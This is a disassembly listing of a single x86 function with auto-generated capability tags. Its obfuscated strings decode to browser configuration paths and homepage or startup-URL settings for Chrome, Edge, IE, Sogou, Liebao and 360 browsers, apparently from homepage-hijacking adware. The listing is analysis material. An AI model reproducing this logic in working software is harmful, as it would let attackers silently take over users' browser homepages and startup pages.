Function at 0x1002cf30
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101e674b
mov eax, dword fs:[0]
push eax
sub esp, 0x4a4
mov eax, dword [0x10275008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x38
xor eax, eax
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x300], 0
lea ecx, [ebp - 0x314]
push str.JTI1YXBwZGF0YSUyNSU1Q1NvZ291RXhwbG9yZXIlNUNjb25maWcueG1s
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x300], 7
mov word [ebp - 0x314], ax
call fcn.10005390
mov dword [ebp - 4], 0
lea edx, [ebp - 0x314]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 1
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.1008a470
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x314]
call fcn.10005300
push 0x14
xor eax, eax
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x318], 0
lea ecx, [ebp - 0x32c]
push str.aG9tZXBhZ2VzJTNEJTIy
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x318], 7
mov word [ebp - 0x32c], ax
call fcn.10005390
mov byte [ebp - 4], 5
lea edx, [ebp - 0x32c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 6
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.1008a470
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x32c]
call fcn.10005300
push 1
xor eax, eax
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0
lea ecx, [ebp - 0x18c]
push 0x1022e650
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 7
mov word [ebp - 0x18c], ax
call fcn.10005390
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x174], 0x10029bf0
mov dword [ebp - 4], 0xb
lea eax, [ebp - 0x164]
mov dword [ebp - 0x170], 1
mov dword [ebp - 0x16c], 7
mov dword [ebp - 0x168], 0
push eax
call fcn.1002f970
mov byte [ebp - 4], 0xc
xor eax, eax
push 0x10
mov dword [ebp - 0x334], 0
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x330], 0
push 0x1022e654
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 7
mov word [ebp - 0x344], ax
call fcn.10005390
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x344]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0xe
mov edx, eax
lea ecx, [ebp - 0x14c]
call fcn.1008a470
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x344]
call fcn.10005300
push 0x17
xor eax, eax
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0
lea ecx, [ebp - 0x35c]
push str.JTIyJTJDJTIydGl0bGUlMjI
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 7
mov word [ebp - 0x35c], ax
call fcn.10005390
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x13
mov edx, eax
lea ecx, [ebp - 0x134]
call fcn.1008a470
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x35c]
call fcn.10005300
mov dword [ebp - 0x11c], 0
mov byte [ebp - 4], 0x17
xor eax, eax
push 0x64
mov dword [ebp - 0x364], 0
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x360], 0
push str.JTI1bG9jYWxhcHBkYXRhJTI1JTVDR29vZ2xlJTVDQ2hyb21lJTVDVXNlciUyMERhdGElNUNEZWZhdWx0JTVDUHJlZmVyZW5jZXM
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 1
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 7
mov word [ebp - 0x374], ax
call fcn.10005390
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x19
mov edx, eax
lea ecx, [ebp - 0x10c]
call fcn.1008a470
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x374]
call fcn.10005300
push 0x18
xor eax, eax
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 0
lea ecx, [ebp - 0x38c]
push str.InN0YXJ0dXBfdXJscyI6Ww
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 7
mov word [ebp - 0x38c], ax
call fcn.10005390
mov byte [ebp - 4], 0x1d
lea edx, [ebp - 0x38c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x1e
mov edx, eax
lea ecx, [ebp - 0xf4]
call fcn.1008a470
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x38c]
call fcn.10005300
push 1
xor eax, eax
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
lea ecx, [ebp - 0xdc]
push 0x1022e7a8
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 7
mov word [ebp - 0xdc], ax
call fcn.10005390
mov byte [ebp - 4], 0x22
mov dword [ebp - 0xc4], 0x1002a020
mov byte [ebp - 4], 0x23
xor eax, eax
push 0x70
mov dword [ebp - 0x394], 0
lea ecx, [ebp - 0x3a4]
mov dword [ebp - 0x390], 0
push str.JTI1bG9jYWxhcHBkYXRhJTI1JTVDR29vZ2xlJTVDQ2hyb21lJTVDVXNlciUyMERhdGElNUNEZWZhdWx0JTVDU2VjdXJlJTIwUHJlZmVyZW5jZXM
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 1
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x394], 0
mov dword [ebp - 0x390], 7
mov word [ebp - 0x3a4], ax
call fcn.10005390
mov byte [ebp - 4], 0x24
lea edx, [ebp - 0x3a4]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x25
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.1008a470
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x3a4]
call fcn.10005300
push 0x18
xor eax, eax
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 0
lea ecx, [ebp - 0x3bc]
push str.InN0YXJ0dXBfdXJscyI6Ww
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 7
mov word [ebp - 0x3bc], ax
call fcn.10005390
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x3bc]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x2a
mov edx, eax
lea ecx, [ebp - 0x9c]
call fcn.1008a470
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x3bc]
call fcn.10005300
push 1
xor eax, eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
lea ecx, [ebp - 0x84]
push 0x1022e7a8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 7
mov word [ebp - 0x84], ax
call fcn.10005390
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x6c], 0x1002a020
mov byte [ebp - 4], 0x2f
xor eax, eax
push 0x58
mov dword [ebp - 0x3c4], 0
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x3c0], 0
push str.JTI1bG9jYWxhcHBkYXRhJTI1JTVDbGllYmFvJTVDVXNlciUyMERhdGElNUNEZWZhdWx0JTVDUHJlZmVyZW5jZXM
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 5
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3c0], 7
mov word [ebp - 0x3d4], ax
call fcn.10005390
mov byte [ebp - 4], 0x30
lea edx, [ebp - 0x3d4]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x31
mov edx, eax
lea ecx, [ebp - 0x5c]
call fcn.1008a470
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x3d4]
call fcn.10005300
push 0x24
xor eax, eax
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 0
lea ecx, [ebp - 0x3ec]
push str.JTIyc3RhcnR1cF91cmxzJTIyJTNBJTIwJTVC
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 7
mov word [ebp - 0x3ec], ax
call fcn.10005390
mov byte [ebp - 4], 0x35
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x36
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.1008a470
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x3ec]
call fcn.10005300
push 1
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x2c]
push 0x1022e7a8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.10005390
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0x14], 0x1002a450
mov dword [ebp - 4], 0x3b
xor eax, eax
push 0x44
mov dword [ebp - 0x3f4], 0
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x3f0], 0
push str.U29mdHdhcmUlNUNNaWNyb3NvZnQlNUNJbnRlcm5ldCUyMEV4cGxvcmVyJTVDTWFpbg
mov dword [ebp - 0x2b8], 2
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x3f4], 0
mov dword [ebp - 0x3f0], 7
mov word [ebp - 0x404], ax
call fcn.10005390
mov byte [ebp - 4], 0x3c
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x3d
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.1008a470
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x404]
call fcn.10005300
push 0x10
xor eax, eax
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], 0
lea ecx, [ebp - 0x41c]
push str.U3RhcnQlMjBQYWdl
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], 7
mov word [ebp - 0x41c], ax
call fcn.10005390
mov byte [ebp - 4], 0x41
lea edx, [ebp - 0x41c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x42
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.1008a470
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x41c]
call fcn.10005300
mov byte [ebp - 4], 0x46
xor eax, eax
push 0x174
mov dword [ebp - 0x424], 0
lea ecx, [ebp - 0x434]
mov dword [ebp - 0x420], 0
push str.U29mdHdhcmUlNUNDbGFzc2VzJTVDTG9jYWwlMjBTZXR0aW5ncyU1Q1NvZnR3YXJlJTVDTWljcm9zb2Z0JTVDV2luZG93cyU1Q0N1cnJlbnRWZXJzaW9uJTVDQXBwQ29udGFpbmVyJTVDU3RvcmFnZSU1Q21pY3Jvc29mdC5taWNyb3NvZnRlZGdlXzh3ZWt5YjNkOGJid2UlNUNNaWNyb3NvZnRFZGdlJTVDUHJvdGVjdGVkJTIwLSUyMEl0JTIwaXMlMjBhJTIwdmlvbGF0aW9uJTIwb2YlMjBXaW5kb3dzJTIwUG9saWN5JTIwdG8lMjBtb2RpZnkuJTIwU2VlJTIwYWthLm1zL2Jyb3dzZXJwb2xpY3k
mov dword [ebp - 0x27c], 3
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], SysStringLen
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], 7
mov word [ebp - 0x434], ax
call fcn.10005390
mov byte [ebp - 4], 0x47
lea edx, [ebp - 0x434]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x48
mov edx, eax
lea ecx, [ebp - 0x270]
call fcn.1008a470
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x434]
call fcn.10005300
push 0x18
xor eax, eax
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
lea ecx, [ebp - 0x44c]
push str.UHJvdGVjdGVkSG9tZXBhZ2Vz
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 7
mov word [ebp - 0x44c], ax
call fcn.10005390
mov byte [ebp - 4], 0x4c
lea edx, [ebp - 0x44c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x4d
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.1008a470
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x44c]
call fcn.10005300
mov byte [ebp - 4], 0x51
xor eax, eax
push 0x28
mov dword [ebp - 0x454], 0
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x450], 0
push str.U29mdHdhcmUlNUMzNjAlNUMzNjBzZTUlNUNzZTY
mov dword [ebp - 0x240], 4
mov dword [ebp - 0x23c], 1
mov dword [ebp - 0x238], SysStringLen
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x450], 7
mov word [ebp - 0x464], ax
call fcn.10005390
mov byte [ebp - 4], 0x52
lea edx, [ebp - 0x464]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x53
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.1008a470
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x464]
call fcn.10005300
push 0xc
xor eax, eax
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], 0
lea ecx, [ebp - 0x47c]
push str.aG9tZXBhZ2U
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], 7
mov word [ebp - 0x47c], ax
call fcn.10005390
mov byte [ebp - 4], 0x57
lea edx, [ebp - 0x47c]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x58
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.1008a470
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x47c]
call fcn.10005300
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x204], 8
mov dword [ebp - 0x200], 1
mov dword [ebp - 0x1fc], SysStringLen
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 0
push 0x38
xor eax, eax
mov dword [ebp - 0x484], 0
push str.U29mdHdhcmUlNUMzNjBDaHJvbWUlNUNIb21lcGFnZSU1Q0RlZmF1bHQ
lea ecx, [ebp - 0x494]
mov dword [ebp - 0x480], 7
mov word [ebp - 0x494], ax
call fcn.10005390
mov byte [ebp - 4], 0x5d
lea edx, [ebp - 0x494]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x5e
mov edx, eax
lea ecx, [ebp - 0x1f8]
call fcn.1008a470
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x494]
call fcn.10005300
push 0xc
xor eax, eax
mov dword [ebp - 0x49c], 0
mov dword [ebp - 0x498], 0
lea ecx, [ebp - 0x4ac]
push str.aG9tZXBhZ2U
mov dword [ebp - 0x49c], 0
mov dword [ebp - 0x498], 7
mov word [ebp - 0x4ac], ax
call fcn.10005390
mov byte [ebp - 4], 0x62
lea edx, [ebp - 0x4ac]
lea ecx, [ebp - 0x2fc]
call fcn.10089d60
mov byte [ebp - 4], 0x63
mov edx, eax
lea ecx, [ebp - 0x1e0]
call fcn.1008a470
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x2fc]
call fcn.10005300
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x4ac]
call fcn.10005300
mov byte [ebp - 4], 0x67
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0
call fcn.10003ff0
mov dword [ebp - 0x2c0], eax
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2e0], str._desktopdirectory_
mov dword [ebp - 0x2dc], 0x10
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._commondesktopdirectory_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x19
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._startmenu_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0xb
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._commonstartmenu_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x16
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._appdata_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x1a
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._commonappdata_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x23
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._programs_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 2
call fcn.100192c0
push eax
add eax, 0x10
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._commonprograms_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x17
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._localappdata_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x1c
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._desktop_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._system32_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x25
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], str._localappdata_
push eax
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2dc], 0x1c
call fcn.100192c0
push eax
add eax, 0x10
lea ecx, [ebp - 0x2c0]
push eax
push 0
lea eax, [ebp - 0x2e0]
push eax
call fcn.10024da0
xor ebx, ebx
lea esi, [ebp - 0x1bc]
mov dword [ebp - 0x2e4], ebx
nop word [eax + eax]
xor eax, eax
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 7
mov word [ebp - 0x2d8], ax
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x2d8]
push eax
push esi
lea eax, [ebp - 0x2c0]
push eax
call fcn.1002f4d0
test al, al
jne 0x1002dede
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2d8]
call fcn.10005300
jmp 0x1002df54
lea eax, [ebp - 0x2d8]
cmp esi, eax
je 0x1002df04
cmp dword [ebp - 0x2c4], 8
mov ecx, esi
push dword [ebp - 0x2c8]
cmovae eax, dword [ebp - 0x2d8]
push eax
call fcn.10005390
mov ebx, dword [edi + 8]
lea eax, [esi - 0xc]
push eax
mov ecx, dword [ebx + 4]
push ecx
push ebx
mov dword [ebp - 0x2dc], ecx
call fcn.10031030
mov edx, dword [edi + 0xc]
mov ecx, 0x2aaaaa9
sub ecx, edx
cmp ecx, 1
jb 0x1002e062
lea ecx, [edx + 1]
mov dword [edi + 0xc], ecx
mov ecx, dword [ebp - 0x2dc]
mov dword [ebx + 4], eax
mov dword [ecx], eax
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2d8]
call fcn.10005300
mov ebx, dword [ebp - 0x2e4]
inc ebx
add esi, 0x58
mov dword [ebp - 0x2e4], ebx
cmp ebx, 5
jb 0x1002de80
lea eax, [ebp - 0x2b8]
xor ebx, ebx
mov dword [ebp - 0x2e4], eax
mov esi, dword [edi]
push eax
mov ecx, dword [esi + 4]
push ecx
push esi
mov dword [ebp - 0x2dc], ecx
call fcn.10031100
mov edx, dword [edi + 4]
mov ecx, 0x3c3c3c2
sub ecx, edx
cmp ecx, 1
jb 0x1002e062
lea ecx, [edx + 1]
inc ebx
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 0x2dc]
mov dword [esi + 4], eax
mov dword [ecx], eax
mov eax, dword [ebp - 0x2e4]
add eax, 0x3c
mov dword [ebp - 0x2e4], eax
cmp ebx, 4
jb 0x1002df75
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x2c0]
mov esi, dword [ebp - 0x2c0]
push dword [esi + 4]
call fcn.100177c0
mov eax, dword [ebp - 0x2c0]
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x2c0]
mov dword [eax], esi
mov eax, dword [ebp - 0x2c0]
mov dword [eax + 8], esi
mov dword [ebp - 0x2bc], 0
mov byte [ebp - 4], 0x67
push 0x2c
push dword [ebp - 0x2c0]
call fcn.101c8702
add esp, 8
mov byte [ebp - 4], 0x3b
push 0x1002e0e0
push 4
push 0x3c
lea eax, [ebp - 0x2b8]
push eax
call fcn.101c8710
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1c8]
push 0x1002e070
push 5
push 0x58
push eax
call fcn.101c8710
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101c837b
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
int3